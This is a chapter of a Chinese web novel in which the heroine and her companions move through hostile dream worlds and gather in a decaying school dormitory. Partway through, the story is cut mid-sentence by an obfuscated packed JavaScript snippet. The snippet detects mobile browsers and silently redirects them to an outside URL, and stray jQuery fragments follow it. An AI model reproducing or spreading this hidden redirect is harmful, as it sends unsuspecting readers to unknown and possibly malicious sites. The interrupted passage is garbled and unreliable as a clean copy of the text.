77. 故意找茬

作品:《魔法少女误入惊悚游戏后

    祁星眠乖乖跟在花九月后面,“我现在应该是失忆了……所以,那之后我们没有分开是吗?”


    看到花九月摇了摇头,他的心情肉眼可见变差了不少。


    这个时候的祁星眠只能勉强做到喜怒不形于色,而在花九月面前,他向来没办法维持自己的伪装。


    反正花九月都知道他真实的样子了,还演什么演。


    大概是破罐子破摔,祁星眠在花九月身边的时候,情绪总是格外丰富,与在其他人面前简直是判若两人。


    “那我们分开了多久?”祁星眠闷声问道。


    “七年。”花九月回答的很快,仿佛没有经过思考一样。


    大概在她八岁的时候,她第一次和祁星眠见面。


    十五岁那年,祁星眠失踪,他们彻底分开,直到现在。


    祁星眠突然觉得有些不舒服,“这么久啊。”


    “九月当时还哭鼻子了呢。”银砾摇头晃脑,“心疼死我了。”


    “……你怎么知道的。”花九月看着银砾,语气意外的平静。


    银砾动作夸张地捂住了嘴,“哎呀,说漏嘴了。”


    “既然如此,我就实话跟你说吧。”银砾凑到花九月耳边,刚要说什么,就被祁星眠拎着衣领,毫不客气地扯到了旁边。


    银砾“啧”了一声,“算了,等以后再和你解释。”


    他故意加重了语气,“等这家伙不在的时候。”


    其实已经多少猜到了一些的花九月:……


    短短一小时,信息量未免太大了一点,她CPU都要烧了。


    走廊里没什么人,又是一片安静,好像刚才进来查房的医生护士是他们看到的幻觉一样。


    就在花九月思索是不是幕后的那个家伙在搞事的时候,一个人影从拐角那里蹿了出来。


    “就是她。”看到花九月,对方眼睛一亮,转身对身后的人说道,“快把她控制住。”


    穿着制服的保安冲了过来,没等花九月出手,祁星眠就把他们全都放倒了。


    来一个打一个,来一双打一双,医院里的人根本奈何不了花九月他们。


    最后,“陈医生”还是忍不住出来了,“你们是故意来找茬的吗?”


    说完这句话,他恨恨地瞪了花九月一眼,然后挥了挥手,周围的场景像是玻璃碎片一样裂开,最后变为虚无。


    再清醒过来时,花九月终于不在医院里了。


    但还有一个坏消息。


    四周一片漆黑,她甚至感觉不到自己在哪里。


    打开手环,显示出来的任务没变,依旧是“醒过来”这三个字。


    “星星?”花九月试探着开口,声音仿佛也被这片黑吞噬了,没有引起任何波澜。


    银砾幽幽开口道,“有了媳妇忘了娘,有了新欢忘了旧爱,有了……”


    “这都什么乱七八糟的。”花九月精准找到银砾的位置,抓住了他的胳膊,“你跟着我点,别在这里迷路了。”


    “我知道。”银砾反手牵上了花九月的手,语气居然带上了几分安抚,“不用担心。”


    花九月打算到处走走,脚下的触感很奇怪,但能踩上去就意味着有实体,有实体就可以走。


    不知道走了多久,她才看到了一点光亮。


    “九月。”祁星眠的指尖冒着一簇莹白色火苗,脸上的表情从厌倦和无所事事一下子变得轻快了起来,“原来你在这边啊。”


    他操纵着这簇火苗,让它飞到了花九月身边,“没想到长大后我变出来的幻觉已经能以假乱真了。”


    “是的,你特别厉害。”花九月毫不吝啬自己的夸奖。


    祁星眠轻咳了一声,面上染上了几分红晕。


    看着两人腻歪的样子,银砾几次想开口说话,最后还是忍住了。


    算了,看在花九月的份上,他不和这家伙计较。


    这片黑暗就像是没有边界一样,花九月他们又走了好一会,周围的景色还是没有发生任何变化。


    “我觉得那个医生就是玩不起。”花九月小声吐槽。


    祁星眠点头,“九月说得对。”


    “花九月,你怎么把自己作到这个地方了。”鹿笙的声音还带着回声,仿佛是从很远的地方传过来的。


    “笙笙,救救。”面对唯一一个可以在各种梦境中穿梭的队友,花九月对他抱有极高的期待。


    鹿笙似是叹了口气,“等着。”


    “你身边——等等,祁星眠也在?”他停顿了一下,“那你让他帮忙不就行了。”


    “你先听我说。”花九月看了旁边的祁星眠一眼,“现在的星……祁星眠,他失忆了。”


    别的姑且不说,成年后的技能反正是一个都不记得了。


    没办法,鹿笙只能想办法把花九月他们都捞出来。


    眼前白光一闪,出现了一道大门。


    旁边的门卫室里传来沙哑的声音,“新同学?”


    花九月转头看去,一个佝偻着背的老人正透过布满灰尘的玻璃打量着她。


    同学这个称呼,再加上周围的建筑,看来这应该是鹿笙的梦境。


    老人的眼睛浑浊发黄,像是蒙着一层翳,见花九月不回应,他意味不明地笑了笑,“新同学,没有老师来接你吗?”


    “不用搭理他。”鹿笙过去把门推开,全然不顾身后还在扯着嗓子叫喊的老人。


    原来他的活动范围是只有教学楼的,但出去一趟,他再看一成不变的环境越看越烦,就开始搞破坏。


    大概过了四五次,幕后黑手就妥协了。


    “你们之前去的地方是梦和梦之间的缝隙。”


    鹿笙已经摸清楚了这里的情况,“创造你的梦境的存在和创造我们现在所在的这个梦境的存在不是同一个人。”


    但他们的目的是一样的,都是把人困在梦里面,然后慢慢地蚕食被困者的灵魂。


    像是一个特殊的物种。


    “可能我们只有找到真正的出口才能离开。”花九月觉得自己估计得蹭鹿笙的出口了。


    毕竟陈医生既然把她丢出来了,没有意外的话是不会让她回去了。


    明明她也没做什么,果然,还是对方才暴躁了。


    鹿笙带着花九月他们去宿舍楼。


    教学楼他刚破坏完,不太适合进人。


    整个学校都没什么人,偶尔会冒出来一两个脸色古怪的学生,僵硬地和他们打招呼。


    像是充满bug却还在正常运行的程序。


    宿舍楼在最里面,这栋建筑格外的老旧,甚至连墙皮都脱落了许多,露出了里面发黑的砖块。


    “这该不会不分男女生吧。”花九月看着这边的唯一一栋建筑,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15080120|157480||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    陷入了思考。


    “没错。”鹿笙点头,他倒是不觉得有什么,除了之前那个副本,他甚至没有住宿舍的经历。


    更何况,这里本就没什么人,在哪里待着都一样。


    走廊里弥漫着一股霉味,混合着某种腥气。


    祁星眠一直在暗中打量鹿笙,似乎在估测他在花九月身边是个什么定位。


    “三楼一个人都没有,你们随便找个房间就行。”


    自从知道有真正的出口后,鹿笙就不打算折腾了。


    反正早晚能出去。


    “我之前找到了常青藤他们的锚点,但没办法让他们离开他们的梦境。”鹿笙看花九月一眼,“要不是你们刚好在缝隙里,其实你们也过不来。”


    花九月灵光一闪,向鹿笙分享自己的经验,“只需要把幕后的那个家伙惹怒,让他忍无可忍,十有八九就会被扔出来。”


    到时候他们就能聚在一起了。


    鹿笙眼神复杂,他现在是真的有些好奇了,花九月到底都做了些什么。


    “我去和他们说一声。”鹿笙摆了摆手。


    因为他们不在一个梦境里,游戏的通讯功能也不能用,只能靠他来回走传话了。


    三楼的走廊格外昏暗,只有尽头的一盏灯在闪烁。


    花九月和祁星眠并肩走着,大部分宿舍的门都是锁着的。


    虽然这锁对他们来说形同虚设,但有过一次被驱赶出去的经历,花九月还是决定谨慎一点。


    省得再让鹿笙去捞他们。


    “九月,九月,九月。”银砾像个复读机似的,“你已经忽视我好久了,退一万步讲,你就不能抱着我走吗?”


    “你要不要听听你在说什么。”花九月示意银砾弯腰,然后狠狠敲了一下她的脑袋。


    银砾捂着脑袋,摆出了一副可怜兮兮的样子。


    他们几个拐了个弯,进了接近尽头的一间宿舍。


    墙纸已经发黄,边缘卷曲,露出下面暗褐色的污渍,天花板上悬挂着一盏摇摇欲坠的老旧吊灯,可能是开门带来了一阵风,它发出了“吱呀”的声响,仿佛随时会坠落下来。


    虽然是上床下桌,但桌面上布满了深深的划痕,像是有人用指甲抓挠过一样,配套的椅子的腿歪斜着。


    顺着桌边的梯子往上看,床单已经发黄,上面还沾满了不知名污渍,不仅如此,还莫名其妙留下了一个人形的轮廓。


    花九月走了一圈,突然就觉得向阳高中的含金量还是太高了。


    至少环境比这里好多了。


    “这里真的能住人吗?”她摸了一把桌子,手上全是灰。


    祁星眠脸上是明晃晃的嫌弃,这比他之前待的石洞环境还要差。


    他拿出了一张手帕,帮花九月擦了下手,“我帮你重新装修一下。”


    首先要把这里的东西都处理掉。


    祁星眠有意在花九月面前耍酷,他打了个响指,周围的桌椅床铺都被无形的东西吞噬,直至完全消失。


    然后,由实体幻觉构成的家具一个一个的出现,连墙纸和地板都换了配套的。


    花九月放在身侧的手微微蜷缩了一下。


    这是她很久之前,说过的,自己最想要的房间。


    直到现在,她终于产生了一点实感。


    她的星星终于又落了回来。